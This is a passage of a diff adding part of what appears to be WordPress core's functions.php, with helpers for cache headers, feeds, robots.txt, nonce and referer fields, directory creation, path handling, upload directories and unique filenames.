+ * headers must be sent so that all of them get the point that no
+ * caching should occur.
+ *
+ * @since 2.0.0
+ *
+ * @see wp_get_nocache_headers()
+ */
+function nocache_headers() {
+	$headers = wp_get_nocache_headers();
+
+	unset( $headers['Last-Modified'] );
+
+	// In PHP 5.3+, make sure we are not sending a Last-Modified header.
+	if ( function_exists( 'header_remove' ) ) {
+		@header_remove( 'Last-Modified' );
+	} else {
+		// In PHP 5.2, send an empty Last-Modified header, but only as a
+		// last resort to override a header already sent. #WP23021
+		foreach ( headers_list() as $header ) {
+			if ( 0 === stripos( $header, 'Last-Modified' ) ) {
+				$headers['Last-Modified'] = '';
+				break;
+			}
+		}
+	}
+
+	foreach ( $headers as $name => $field_value )
+		@header("{$name}: {$field_value}");
+}
+
+/**
+ * Set the headers for caching for 10 days with JavaScript content type.
+ *
+ * @since 2.1.0
+ */
+function cache_javascript_headers() {
+	$expiresOffset = 10 * DAY_IN_SECONDS;
+
+	header( "Content-Type: text/javascript; charset=" . get_bloginfo( 'charset' ) );
+	header( "Vary: Accept-Encoding" ); // Handle proxies
+	header( "Expires: " . gmdate( "D, d M Y H:i:s", time() + $expiresOffset ) . " GMT" );
+}
+
+/**
+ * Retrieve the number of database queries during the WordPress execution.
+ *
+ * @since 2.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @return int Number of database queries.
+ */
+function get_num_queries() {
+	global $wpdb;
+	return $wpdb->num_queries;
+}
+
+/**
+ * Whether input is yes or no.
+ *
+ * Must be 'y' to be true.
+ *
+ * @since 1.0.0
+ *
+ * @param string $yn Character string containing either 'y' (yes) or 'n' (no).
+ * @return bool True if yes, false on anything else.
+ */
+function bool_from_yn( $yn ) {
+	return ( strtolower( $yn ) == 'y' );
+}
+
+/**
+ * Load the feed template from the use of an action hook.
+ *
+ * If the feed action does not have a hook, then the function will die with a
+ * message telling the visitor that the feed is not valid.
+ *
+ * It is better to only have one hook for each feed.
+ *
+ * @since 2.1.0
+ *
+ * @global WP_Query $wp_query Used to tell if the use a comment feed.
+ */
+function do_feed() {
+	global $wp_query;
+
+	$feed = get_query_var( 'feed' );
+
+	// Remove the pad, if present.
+	$feed = preg_replace( '/^_+/', '', $feed );
+
+	if ( $feed == '' || $feed == 'feed' )
+		$feed = get_default_feed();
+
+	if ( ! has_action( "do_feed_{$feed}" ) ) {
+		wp_die( __( 'ERROR: This is not a valid feed template.' ), '', array( 'response' => 404 ) );
+	}
+
+	/**
+	 * Fires once the given feed is loaded.
+	 *
+	 * The dynamic portion of the hook name, `$feed`, refers to the feed template name.
+	 * Possible values include: 'rdf', 'rss', 'rss2', and 'atom'.
+	 *
+	 * @since 2.1.0
+	 * @since 4.4.0 The `$feed` parameter was added.
+	 *
+	 * @param bool   $is_comment_feed Whether the feed is a comment feed.
+	 * @param string $feed            The feed name.
+	 */
+	do_action( "do_feed_{$feed}", $wp_query->is_comment_feed, $feed );
+}
+
+/**
+ * Load the RDF RSS 0.91 Feed template.
+ *
+ * @since 2.1.0
+ *
+ * @see load_template()
+ */
+function do_feed_rdf() {
+	load_template( ABSPATH . WPINC . '/feed-rdf.php' );
+}
+
+/**
+ * Load the RSS 1.0 Feed Template.
+ *
+ * @since 2.1.0
+ *
+ * @see load_template()
+ */
+function do_feed_rss() {
+	load_template( ABSPATH . WPINC . '/feed-rss.php' );
+}
+
+/**
+ * Load either the RSS2 comment feed or the RSS2 posts feed.
+ *
+ * @since 2.1.0
+ *
+ * @see load_template()
+ *
+ * @param bool $for_comments True for the comment feed, false for normal feed.
+ */
+function do_feed_rss2( $for_comments ) {
+	if ( $for_comments )
+		load_template( ABSPATH . WPINC . '/feed-rss2-comments.php' );
+	else
+		load_template( ABSPATH . WPINC . '/feed-rss2.php' );
+}
+
+/**
+ * Load either Atom comment feed or Atom posts feed.
+ *
+ * @since 2.1.0
+ *
+ * @see load_template()
+ *
+ * @param bool $for_comments True for the comment feed, false for normal feed.
+ */
+function do_feed_atom( $for_comments ) {
+	if ($for_comments)
+		load_template( ABSPATH . WPINC . '/feed-atom-comments.php');
+	else
+		load_template( ABSPATH . WPINC . '/feed-atom.php' );
+}
+
+/**
+ * Display the robots.txt file content.
+ *
+ * The echo content should be with usage of the permalinks or for creating the
+ * robots.txt file.
+ *
+ * @since 2.1.0
+ */
+function do_robots() {
+	header( 'Content-Type: text/plain; charset=utf-8' );
+
+	/**
+	 * Fires when displaying the robots.txt file.
+	 *
+	 * @since 2.1.0
+	 */
+	do_action( 'do_robotstxt' );
+
+	$output = "User-agent: *\n";
+	$public = get_option( 'blog_public' );
+	if ( '0' == $public ) {
+		$output .= "Disallow: /\n";
+	} else {
+		$site_url = parse_url( site_url() );
+		$path = ( !empty( $site_url['path'] ) ) ? $site_url['path'] : '';
+		$output .= "Disallow: $path/wp-admin/\n";
+		$output .= "Allow: $path/wp-admin/admin-ajax.php\n";
+	}
+
+	/**
+	 * Filters the robots.txt output.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $output Robots.txt output.
+	 * @param bool   $public Whether the site is considered "public".
+	 */
+	echo apply_filters( 'robots_txt', $output, $public );
+}
+
+/**
+ * Determines whether WordPress is already installed.
+ *
+ * The cache will be checked first. If you have a cache plugin, which saves
+ * the cache values, then this will work. If you use the default WordPress
+ * cache, and the database goes away, then you might have problems.
+ *
+ * Checks for the 'siteurl' option for whether WordPress is installed.
+ *
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
+ * Conditional Tags} article in the Theme Developer Handbook.
+ *
+ * @since 2.1.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @return bool Whether the site is already installed.
+ */
+function is_blog_installed() {
+	global $wpdb;
+
+	/*
+	 * Check cache first. If options table goes away and we have true
+	 * cached, oh well.
+	 */
+	if ( wp_cache_get( 'is_blog_installed' ) )
+		return true;
+
+	$suppress = $wpdb->suppress_errors();
+	if ( ! wp_installing() ) {
+		$alloptions = wp_load_alloptions();
+	}
+	// If siteurl is not set to autoload, check it specifically
+	if ( !isset( $alloptions['siteurl'] ) )
+		$installed = $wpdb->get_var( "SELECT option_value FROM $wpdb->options WHERE option_name = 'siteurl'" );
+	else
+		$installed = $alloptions['siteurl'];
+	$wpdb->suppress_errors( $suppress );
+
+	$installed = !empty( $installed );
+	wp_cache_set( 'is_blog_installed', $installed );
+
+	if ( $installed )
+		return true;
+
+	// If visiting repair.php, return true and let it take over.
+	if ( defined( 'WP_REPAIRING' ) )
+		return true;
+
+	$suppress = $wpdb->suppress_errors();
+
+	/*
+	 * Loop over the WP tables. If none exist, then scratch installation is allowed.
+	 * If one or more exist, suggest table repair since we got here because the
+	 * options table could not be accessed.
+	 */
+	$wp_tables = $wpdb->tables();
+	foreach ( $wp_tables as $table ) {
+		// The existence of custom user tables shouldn't suggest an insane state or prevent a clean installation.
+		if ( defined( 'CUSTOM_USER_TABLE' ) && CUSTOM_USER_TABLE == $table )
+			continue;
+		if ( defined( 'CUSTOM_USER_META_TABLE' ) && CUSTOM_USER_META_TABLE == $table )
+			continue;
+
+		if ( ! $wpdb->get_results( "DESCRIBE $table;" ) )
+			continue;
+
+		// One or more tables exist. We are insane.
+
+		wp_load_translations_early();
+
+		// Die with a DB error.
+		$wpdb->error = sprintf(
+			/* translators: %s: database repair URL */
+			__( 'One or more database tables are unavailable. The database may need to be <a href="%s">repaired</a>.' ),
+			'maint/repair.php?referrer=is_blog_installed'
+		);
+
+		dead_db();
+	}
+
+	$wpdb->suppress_errors( $suppress );
+
+	wp_cache_set( 'is_blog_installed', false );
+
+	return false;
+}
+
+/**
+ * Retrieve URL with nonce added to URL query.
+ *
+ * @since 2.0.4
+ *
+ * @param string     $actionurl URL to add nonce action.
+ * @param int|string $action    Optional. Nonce action name. Default -1.
+ * @param string     $name      Optional. Nonce name. Default '_wpnonce'.
+ * @return string Escaped URL with nonce action added.
+ */
+function wp_nonce_url( $actionurl, $action = -1, $name = '_wpnonce' ) {
+	$actionurl = str_replace( '&amp;', '&', $actionurl );
+	return esc_html( add_query_arg( $name, wp_create_nonce( $action ), $actionurl ) );
+}
+
+/**
+ * Retrieve or display nonce hidden field for forms.
+ *
+ * The nonce field is used to validate that the contents of the form came from
+ * the location on the current site and not somewhere else. The nonce does not
+ * offer absolute protection, but should protect against most cases. It is very
+ * important to use nonce field in forms.
+ *
+ * The $action and $name are optional, but if you want to have better security,
+ * it is strongly suggested to set those two parameters. It is easier to just
+ * call the function without any parameters, because validation of the nonce
+ * doesn't require any parameters, but since crackers know what the default is
+ * it won't be difficult for them to find a way around your nonce and cause
+ * damage.
+ *
+ * The input name will be whatever $name value you gave. The input value will be
+ * the nonce creation value.
+ *
+ * @since 2.0.4
+ *
+ * @param int|string $action  Optional. Action name. Default -1.
+ * @param string     $name    Optional. Nonce name. Default '_wpnonce'.
+ * @param bool       $referer Optional. Whether to set the referer field for validation. Default true.
+ * @param bool       $echo    Optional. Whether to display or return hidden form field. Default true.
+ * @return string Nonce field HTML markup.
+ */
+function wp_nonce_field( $action = -1, $name = "_wpnonce", $referer = true , $echo = true ) {
+	$name = esc_attr( $name );
+	$nonce_field = '<input type="hidden" id="' . $name . '" name="' . $name . '" value="' . wp_create_nonce( $action ) . '" />';
+
+	if ( $referer )
+		$nonce_field .= wp_referer_field( false );
+
+	if ( $echo )
+		echo $nonce_field;
+
+	return $nonce_field;
+}
+
+/**
+ * Retrieve or display referer hidden field for forms.
+ *
+ * The referer link is the current Request URI from the server super global. The
+ * input name is '_wp_http_referer', in case you wanted to check manually.
+ *
+ * @since 2.0.4
+ *
+ * @param bool $echo Optional. Whether to echo or return the referer field. Default true.
+ * @return string Referer field HTML markup.
+ */
+function wp_referer_field( $echo = true ) {
+	$referer_field = '<input type="hidden" name="_wp_http_referer" value="'. esc_attr( wp_unslash( $_SERVER['REQUEST_URI'] ) ) . '" />';
+
+	if ( $echo )
+		echo $referer_field;
+	return $referer_field;
+}
+
+/**
+ * Retrieve or display original referer hidden field for forms.
+ *
+ * The input name is '_wp_original_http_referer' and will be either the same
+ * value of wp_referer_field(), if that was posted already or it will be the
+ * current page, if it doesn't exist.
+ *
+ * @since 2.0.4
+ *
+ * @param bool   $echo         Optional. Whether to echo the original http referer. Default true.
+ * @param string $jump_back_to Optional. Can be 'previous' or page you want to jump back to.
+ *                             Default 'current'.
+ * @return string Original referer field.
+ */
+function wp_original_referer_field( $echo = true, $jump_back_to = 'current' ) {
+	if ( ! $ref = wp_get_original_referer() ) {
+		$ref = 'previous' == $jump_back_to ? wp_get_referer() : wp_unslash( $_SERVER['REQUEST_URI'] );
+	}
+	$orig_referer_field = '<input type="hidden" name="_wp_original_http_referer" value="' . esc_attr( $ref ) . '" />';
+	if ( $echo )
+		echo $orig_referer_field;
+	return $orig_referer_field;
+}
+
+/**
+ * Retrieve referer from '_wp_http_referer' or HTTP referer.
+ *
+ * If it's the same as the current request URL, will return false.
+ *
+ * @since 2.0.4
+ *
+ * @return false|string False on failure. Referer URL on success.
+ */
+function wp_get_referer() {
+	if ( ! function_exists( 'wp_validate_redirect' ) ) {
+		return false;
+	}
+
+	$ref = wp_get_raw_referer();
+
+	if ( $ref && $ref !== wp_unslash( $_SERVER['REQUEST_URI'] ) && $ref !== home_url() . wp_unslash( $_SERVER['REQUEST_URI'] ) ) {
+		return wp_validate_redirect( $ref, false );
+	}
+
+	return false;
+}
+
+/**
+ * Retrieves unvalidated referer from '_wp_http_referer' or HTTP referer.
+ *
+ * Do not use for redirects, use wp_get_referer() instead.
+ *
+ * @since 4.5.0
+ *
+ * @return string|false Referer URL on success, false on failure.
+ */
+function wp_get_raw_referer() {
+	if ( ! empty( $_REQUEST['_wp_http_referer'] ) ) {
+		return wp_unslash( $_REQUEST['_wp_http_referer'] );
+	} else if ( ! empty( $_SERVER['HTTP_REFERER'] ) ) {
+		return wp_unslash( $_SERVER['HTTP_REFERER'] );
+	}
+
+	return false;
+}
+
+/**
+ * Retrieve original referer that was posted, if it exists.
+ *
+ * @since 2.0.4
+ *
+ * @return string|false False if no original referer or original referer if set.
+ */
+function wp_get_original_referer() {
+	if ( ! empty( $_REQUEST['_wp_original_http_referer'] ) && function_exists( 'wp_validate_redirect' ) )
+		return wp_validate_redirect( wp_unslash( $_REQUEST['_wp_original_http_referer'] ), false );
+	return false;
+}
+
+/**
+ * Recursive directory creation based on full path.
+ *
+ * Will attempt to set permissions on folders.
+ *
+ * @since 2.0.1
+ *
+ * @param string $target Full path to attempt to create.
+ * @return bool Whether the path was created. True if path already exists.
+ */
+function wp_mkdir_p( $target ) {
+	$wrapper = null;
+
+	// Strip the protocol.
+	if ( wp_is_stream( $target ) ) {
+		list( $wrapper, $target ) = explode( '://', $target, 2 );
+	}
+
+	// From php.net/mkdir user contributed notes.
+	$target = str_replace( '//', '/', $target );
+
+	// Put the wrapper back on the target.
+	if ( $wrapper !== null ) {
+		$target = $wrapper . '://' . $target;
+	}
+
+	/*
+	 * Safe mode fails with a trailing slash under certain PHP versions.
+	 * Use rtrim() instead of untrailingslashit to avoid formatting.php dependency.
+	 */
+	$target = rtrim($target, '/');
+	if ( empty($target) )
+		$target = '/';
+
+	if ( file_exists( $target ) )
+		return @is_dir( $target );
+
+	// Do not allow path traversals.
+	if ( false !== strpos( $target, '../' ) || false !== strpos( $target, '..' . DIRECTORY_SEPARATOR ) ) {
+		return false;
+	}
+
+	// We need to find the permissions of the parent folder that exists and inherit that.
+	$target_parent = dirname( $target );
+	while ( '.' != $target_parent && ! is_dir( $target_parent ) && dirname( $target_parent ) !== $target_parent ) {
+		$target_parent = dirname( $target_parent );
+	}
+
+	// Get the permission bits.
+	if ( $stat = @stat( $target_parent ) ) {
+		$dir_perms = $stat['mode'] & 0007777;
+	} else {
+		$dir_perms = 0777;
+	}
+
+	if ( @mkdir( $target, $dir_perms, true ) ) {
+
+		/*
+		 * If a umask is set that modifies $dir_perms, we'll have to re-set
+		 * the $dir_perms correctly with chmod()
+		 */
+		if ( $dir_perms != ( $dir_perms & ~umask() ) ) {
+			$folder_parts = explode( '/', substr( $target, strlen( $target_parent ) + 1 ) );
+			for ( $i = 1, $c = count( $folder_parts ); $i <= $c; $i++ ) {
+				@chmod( $target_parent . '/' . implode( '/', array_slice( $folder_parts, 0, $i ) ), $dir_perms );
+			}
+		}
+
+		return true;
+	}
+
+	return false;
+}
+
+/**
+ * Test if a given filesystem path is absolute.
+ *
+ * For example, '/foo/bar', or 'c:\windows'.
+ *
+ * @since 2.5.0
+ *
+ * @param string $path File path.
+ * @return bool True if path is absolute, false is not absolute.
+ */
+function path_is_absolute( $path ) {
+	/*
+	 * This is definitive if true but fails if $path does not exist or contains
+	 * a symbolic link.
+	 */
+	if ( realpath($path) == $path )
+		return true;
+
+	if ( strlen($path) == 0 || $path[0] == '.' )
+		return false;
+
+	// Windows allows absolute paths like this.
+	if ( preg_match('#^[a-zA-Z]:\\\\#', $path) )
+		return true;
+
+	// A path starting with / or \ is absolute; anything else is relative.
+	return ( $path[0] == '/' || $path[0] == '\\' );
+}
+
+/**
+ * Join two filesystem paths together.
+ *
+ * For example, 'give me $path relative to $base'. If the $path is absolute,
+ * then it the full path is returned.
+ *
+ * @since 2.5.0
+ *
+ * @param string $base Base path.
+ * @param string $path Path relative to $base.
+ * @return string The path with the base or absolute path.
+ */
+function path_join( $base, $path ) {
+	if ( path_is_absolute($path) )
+		return $path;
+
+	return rtrim($base, '/') . '/' . ltrim($path, '/');
+}
+
+/**
+ * Normalize a filesystem path.
+ *
+ * On windows systems, replaces backslashes with forward slashes
+ * and forces upper-case drive letters.
+ * Allows for two leading slashes for Windows network shares, but
+ * ensures that all other duplicate slashes are reduced to a single.
+ *
+ * @since 3.9.0
+ * @since 4.4.0 Ensures upper-case drive letters on Windows systems.
+ * @since 4.5.0 Allows for Windows network shares.
+ * @since 4.9.7 Allows for PHP file wrappers.
+ *
+ * @param string $path Path to normalize.
+ * @return string Normalized path.
+ */
+function wp_normalize_path( $path ) {
+	$wrapper = '';
+	if ( wp_is_stream( $path ) ) {
+		list( $wrapper, $path ) = explode( '://', $path, 2 );
+		$wrapper .= '://';
+	}
+
+	// Standardise all paths to use /
+	$path = str_replace( '\\', '/', $path );
+
+	// Replace multiple slashes down to a singular, allowing for network shares having two slashes.
+	$path = preg_replace( '|(?<=.)/+|', '/', $path );
+
+	// Windows paths should uppercase the drive letter
+	if ( ':' === substr( $path, 1, 1 ) ) {
+		$path = ucfirst( $path );
+	}
+
+	return $wrapper . $path;
+}
+
+/**
+ * Determine a writable directory for temporary files.
+ *
+ * Function's preference is the return value of sys_get_temp_dir(),
+ * followed by your PHP temporary upload directory, followed by WP_CONTENT_DIR,
+ * before finally defaulting to /tmp/
+ *
+ * In the event that this function does not find a writable location,
+ * It may be overridden by the WP_TEMP_DIR constant in your wp-config.php file.
+ *
+ * @since 2.5.0
+ *
+ * @staticvar string $temp
+ *
+ * @return string Writable temporary directory.
+ */
+function get_temp_dir() {
+	static $temp = '';
+	if ( defined('WP_TEMP_DIR') )
+		return trailingslashit(WP_TEMP_DIR);
+
+	if ( $temp )
+		return trailingslashit( $temp );
+
+	if ( function_exists('sys_get_temp_dir') ) {
+		$temp = sys_get_temp_dir();
+		if ( @is_dir( $temp ) && wp_is_writable( $temp ) )
+			return trailingslashit( $temp );
+	}
+
+	$temp = ini_get('upload_tmp_dir');
+	if ( @is_dir( $temp ) && wp_is_writable( $temp ) )
+		return trailingslashit( $temp );
+
+	$temp = WP_CONTENT_DIR . '/';
+	if ( is_dir( $temp ) && wp_is_writable( $temp ) )
+		return $temp;
+
+	return '/tmp/';
+}
+
+/**
+ * Determine if a directory is writable.
+ *
+ * This function is used to work around certain ACL issues in PHP primarily
+ * affecting Windows Servers.
+ *
+ * @since 3.6.0
+ *
+ * @see win_is_writable()
+ *
+ * @param string $path Path to check for write-ability.
+ * @return bool Whether the path is writable.
+ */
+function wp_is_writable( $path ) {
+	if ( 'WIN' === strtoupper( substr( PHP_OS, 0, 3 ) ) )
+		return win_is_writable( $path );
+	else
+		return @is_writable( $path );
+}
+
+/**
+ * Workaround for Windows bug in is_writable() function
+ *
+ * PHP has issues with Windows ACL's for determine if a
+ * directory is writable or not, this works around them by
+ * checking the ability to open files rather than relying
+ * upon PHP to interprate the OS ACL.
+ *
+ * @since 2.8.0
+ *
+ * @see https://bugs.php.net/bug.php?id=27609
+ * @see https://bugs.php.net/bug.php?id=30931
+ *
+ * @param string $path Windows path to check for write-ability.
+ * @return bool Whether the path is writable.
+ */
+function win_is_writable( $path ) {
+
+	if ( $path[strlen( $path ) - 1] == '/' ) { // if it looks like a directory, check a random file within the directory
+		return win_is_writable( $path . uniqid( mt_rand() ) . '.tmp');
+	} elseif ( is_dir( $path ) ) { // If it's a directory (and not a file) check a random file within the directory
+		return win_is_writable( $path . '/' . uniqid( mt_rand() ) . '.tmp' );
+	}
+	// check tmp file for read/write capabilities
+	$should_delete_tmp_file = !file_exists( $path );
+	$f = @fopen( $path, 'a' );
+	if ( $f === false )
+		return false;
+	fclose( $f );
+	if ( $should_delete_tmp_file )
+		unlink( $path );
+	return true;
+}
+
+/**
+ * Retrieves uploads directory information.
+ *
+ * Same as wp_upload_dir() but "light weight" as it doesn't attempt to create the uploads directory.
+ * Intended for use in themes, when only 'basedir' and 'baseurl' are needed, generally in all cases
+ * when not uploading files.
+ *
+ * @since 4.5.0
+ *
+ * @see wp_upload_dir()
+ *
+ * @return array See wp_upload_dir() for description.
+ */
+function wp_get_upload_dir() {
+	return wp_upload_dir( null, false );
+}
+
+/**
+ * Get an array containing the current upload directory's path and url.
+ *
+ * Checks the 'upload_path' option, which should be from the web root folder,
+ * and if it isn't empty it will be used. If it is empty, then the path will be
+ * 'WP_CONTENT_DIR/uploads'. If the 'UPLOADS' constant is defined, then it will
+ * override the 'upload_path' option and 'WP_CONTENT_DIR/uploads' path.
+ *
+ * The upload URL path is set either by the 'upload_url_path' option or by using
+ * the 'WP_CONTENT_URL' constant and appending '/uploads' to the path.
+ *
+ * If the 'uploads_use_yearmonth_folders' is set to true (checkbox if checked in
+ * the administration settings panel), then the time will be used. The format
+ * will be year first and then month.
+ *
+ * If the path couldn't be created, then an error will be returned with the key
+ * 'error' containing the error message. The error suggests that the parent
+ * directory is not writable by the server.
+ *
+ * On success, the returned array will have many indices:
+ * 'path' - base directory and sub directory or full path to upload directory.
+ * 'url' - base url and sub directory or absolute URL to upload directory.
+ * 'subdir' - sub directory if uploads use year/month folders option is on.
+ * 'basedir' - path without subdir.
+ * 'baseurl' - URL path without subdir.
+ * 'error' - false or error message.
+ *
+ * @since 2.0.0
+ * @uses _wp_upload_dir()
+ *
+ * @staticvar array $cache
+ * @staticvar array $tested_paths
+ *
+ * @param string $time Optional. Time formatted in 'yyyy/mm'. Default null.
+ * @param bool   $create_dir Optional. Whether to check and create the uploads directory.
+ *                           Default true for backward compatibility.
+ * @param bool   $refresh_cache Optional. Whether to refresh the cache. Default false.
+ * @return array See above for description.
+ */
+function wp_upload_dir( $time = null, $create_dir = true, $refresh_cache = false ) {
+	static $cache = array(), $tested_paths = array();
+
+	$key = sprintf( '%d-%s', get_current_blog_id(), (string) $time );
+
+	if ( $refresh_cache || empty( $cache[ $key ] ) ) {
+		$cache[ $key ] = _wp_upload_dir( $time );
+	}
+
+	/**
+	 * Filters the uploads directory data.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param array $uploads Array of upload directory data with keys of 'path',
+	 *                       'url', 'subdir, 'basedir', and 'error'.
+	 */
+	$uploads = apply_filters( 'upload_dir', $cache[ $key ] );
+
+	if ( $create_dir ) {
+		$path = $uploads['path'];
+
+		if ( array_key_exists( $path, $tested_paths ) ) {
+			$uploads['error'] = $tested_paths[ $path ];
+		} else {
+			if ( ! wp_mkdir_p( $path ) ) {
+				if ( 0 === strpos( $uploads['basedir'], ABSPATH ) ) {
+					$error_path = str_replace( ABSPATH, '', $uploads['basedir'] ) . $uploads['subdir'];
+				} else {
+					$error_path = basename( $uploads['basedir'] ) . $uploads['subdir'];
+				}
+
+				$uploads['error'] = sprintf(
+					/* translators: %s: directory path */
+					__( 'Unable to create directory %s. Is its parent directory writable by the server?' ),
+					esc_html( $error_path )
+				);
+			}
+
+			$tested_paths[ $path ] = $uploads['error'];
+		}
+	}
+
+	return $uploads;
+}
+
+/**
+ * A non-filtered, non-cached version of wp_upload_dir() that doesn't check the path.
+ *
+ * @since 4.5.0
+ * @access private
+ *
+ * @param string $time Optional. Time formatted in 'yyyy/mm'. Default null.
+ * @return array See wp_upload_dir()
+ */
+function _wp_upload_dir( $time = null ) {
+	$siteurl = get_option( 'siteurl' );
+	$upload_path = trim( get_option( 'upload_path' ) );
+
+	if ( empty( $upload_path ) || 'wp-content/uploads' == $upload_path ) {
+		$dir = WP_CONTENT_DIR . '/uploads';
+	} elseif ( 0 !== strpos( $upload_path, ABSPATH ) ) {
+		// $dir is absolute, $upload_path is (maybe) relative to ABSPATH
+		$dir = path_join( ABSPATH, $upload_path );
+	} else {
+		$dir = $upload_path;
+	}
+
+	if ( !$url = get_option( 'upload_url_path' ) ) {
+		if ( empty($upload_path) || ( 'wp-content/uploads' == $upload_path ) || ( $upload_path == $dir ) )
+			$url = WP_CONTENT_URL . '/uploads';
+		else
+			$url = trailingslashit( $siteurl ) . $upload_path;
+	}
+
+	/*
+	 * Honor the value of UPLOADS. This happens as long as ms-files rewriting is disabled.
+	 * We also sometimes obey UPLOADS when rewriting is enabled -- see the next block.
+	 */
+	if ( defined( 'UPLOADS' ) && ! ( is_multisite() && get_site_option( 'ms_files_rewriting' ) ) ) {
+		$dir = ABSPATH . UPLOADS;
+		$url = trailingslashit( $siteurl ) . UPLOADS;
+	}
+
+	// If multisite (and if not the main site in a post-MU network)
+	if ( is_multisite() && ! ( is_main_network() && is_main_site() && defined( 'MULTISITE' ) ) ) {
+
+		if ( ! get_site_option( 'ms_files_rewriting' ) ) {
+			/*
+			 * If ms-files rewriting is disabled (networks created post-3.5), it is fairly
+			 * straightforward: Append sites/%d if we're not on the main site (for post-MU
+			 * networks). (The extra directory prevents a four-digit ID from conflicting with
+			 * a year-based directory for the main site. But if a MU-era network has disabled
+			 * ms-files rewriting manually, they don't need the extra directory, as they never
+			 * had wp-content/uploads for the main site.)
+			 */
+
+			if ( defined( 'MULTISITE' ) )
+				$ms_dir = '/sites/' . get_current_blog_id();
+			else
+				$ms_dir = '/' . get_current_blog_id();
+
+			$dir .= $ms_dir;
+			$url .= $ms_dir;
+
+		} elseif ( defined( 'UPLOADS' ) && ! ms_is_switched() ) {
+			/*
+			 * Handle the old-form ms-files.php rewriting if the network still has that enabled.
+			 * When ms-files rewriting is enabled, then we only listen to UPLOADS when:
+			 * 1) We are not on the main site in a post-MU network, as wp-content/uploads is used
+			 *    there, and
+			 * 2) We are not switched, as ms_upload_constants() hardcodes these constants to reflect
+			 *    the original blog ID.
+			 *
+			 * Rather than UPLOADS, we actually use BLOGUPLOADDIR if it is set, as it is absolute.
+			 * (And it will be set, see ms_upload_constants().) Otherwise, UPLOADS can be used, as
+			 * as it is relative to ABSPATH. For the final piece: when UPLOADS is used with ms-files
+			 * rewriting in multisite, the resulting URL is /files. (#WP22702 for background.)
+			 */
+
+			if ( defined( 'BLOGUPLOADDIR' ) )
+				$dir = untrailingslashit( BLOGUPLOADDIR );
+			else
+				$dir = ABSPATH . UPLOADS;
+			$url = trailingslashit( $siteurl ) . 'files';
+		}
+	}
+
+	$basedir = $dir;
+	$baseurl = $url;
+
+	$subdir = '';
+	if ( get_option( 'uploads_use_yearmonth_folders' ) ) {
+		// Generate the yearly and monthly dirs
+		if ( !$time )
+			$time = current_time( 'mysql' );
+		$y = substr( $time, 0, 4 );
+		$m = substr( $time, 5, 2 );
+		$subdir = "/$y/$m";
+	}
+
+	$dir .= $subdir;
+	$url .= $subdir;
+
+	return array(
+		'path'    => $dir,
+		'url'     => $url,
+		'subdir'  => $subdir,
+		'basedir' => $basedir,
+		'baseurl' => $baseurl,
+		'error'   => false,
+	);
+}
+
+/**
+ * Get a filename that is sanitized and unique for the given directory.
+ *
+ * If the filename is not unique, then a number will be added to the filename
+ * before the extension, and will continue adding numbers until the filename is
+ * unique.
+ *
+ * The callback is passed three parameters, the first one is the directory, the
+ * second is the filename, and the third is the extension.
+ *
+ * @since 2.5.0
+ *
+ * @param string   $dir                      Directory.
+ * @param string   $filename                 File name.
+ * @param callable $unique_filename_callback Callback. Default null.
+ * @return string New filename, if given wasn't unique.
+ */
+function wp_unique_filename( $dir, $filename, $unique_filename_callback = null ) {
+	// Sanitize the file name before we begin processing.
+	$filename = sanitize_file_name($filename);
+
+	// Separate the filename into a name and extension.
+	$ext = pathinfo( $filename, PATHINFO_EXTENSION );
+	$name = pathinfo( $filename, PATHINFO_BASENAME );
+	if ( $ext ) {
+		$ext = '.' . $ext;
+	}
+
+	// Edge case: if file is named '.ext', treat as an empty name.
+	if ( $name === $ext ) {
+		$name = '';
+	}
+
+	/*
+	 * Increment the file number until we have a unique file to save in $dir.
+	 * Use callback if supplied.
+	 */
+	if ( $unique_filename_callback && is_callable( $unique_filename_callback ) ) {
+		$filename = call_user_func( $unique_filename_callback, $dir, $name, $ext );
+	} else {
+		$number = '';
+
+		// Change '.ext' to lower case.
+		if ( $ext && strtolower($ext) != $ext ) {
+			$ext2 = strtolower($ext);
+			$filename2 = preg_replace( '|' . preg_quote($ext) . '$|', $ext2, $filename );
+
+			// Check for both lower and upper case extension or image sub-sizes may be overwritten.
+			while ( file_exists($dir . "/$filename") || file_exists($dir . "/$filename2") ) {
+				$new_number = (int) $number + 1;
+				$filename = str_replace( array( "-$number$ext", "$number$ext" ), "-$new_number$ext", $filename );
+				$filename2 = str_replace( array( "-$number$ext2", "$number$ext2" ), "-$new_number$ext2", $filename2 );
+				$number = $new_number;
+			}
+
+			/**
+			 * Filters the result when generating a unique file name.
+			 *
+			 * @since 4.5.0
+			 *
+			 * @param string        $filename                 Unique file name.
+			 * @param string        $ext                      File extension, eg. ".png".
+			 * @param string        $dir                      Directory path.
+			 * @param callable|null $unique_filename_callback Callback function that generates the unique file name.
+			 */
+			return apply_filters( 'wp_unique_filename', $filename2, $ext, $dir, $unique_filename_callback );
+		}
+
+		while ( file_exists( $dir . "/$filename" ) ) {
+			$new_number = (int) $number + 1;
+			if ( '' == "$number$ext" ) {
+				$filename = "$filename-" . $new_number;
+			} else {
+				$filename = str_replace( array( "-$number$ext", "$number$ext" ), "-" . $new_number . $ext, $filename );
+			}
+			$number = $new_number;
+		}
+	}
+
+	/** This filter is documented in wp-includes/functions.php */
+	return apply_filters( 'wp_unique_filename', $filename, $ext, $dir, $unique_filename_callback );
+}
+
+/**
+ * Create a file in the upload folder with given content.
+ *
+ * If there is an error, then the key 'error' will exist with the error message.
+ * If success, then the key 'file' will have the unique file path, the 'url' key
+ * will have the link to the new file. and the 'error' key will be set to false.
+ *
+ * This function will not move an uploaded file to the upload folder. It will
+ * create a new file with the content in $bits parameter. If you move the upload
+ * file, read the content of the uploaded file, and then you can give the
+ * filename and content to this function, which will add it to the upload
+ * folder.
+ *
+ * The permissions will be set on the new file automatically by this function.
+ *
+ * @since 2.0.0
+ *
+ * @param string       $name       Filename.
+ * @param null|string  $deprecated Never used. Set to null.
+ * @param mixed        $bits       File content
+ * @param string       $time       Optional. Time formatted in 'yyyy/mm'. Default null.
+ * @return array
+ */
+function wp_upload_bits( $name, $deprecated, $bits, $time = null ) {
+	if ( !empty( $deprecated ) )
+		_deprecated_argument( __FUNCTION__, '2.0.0' );
+
+	if ( empty( $name ) )
+		return array( 'error' => __( 'Empty filename' ) );
+
+	$wp_filetype = wp_check_filetype( $name );
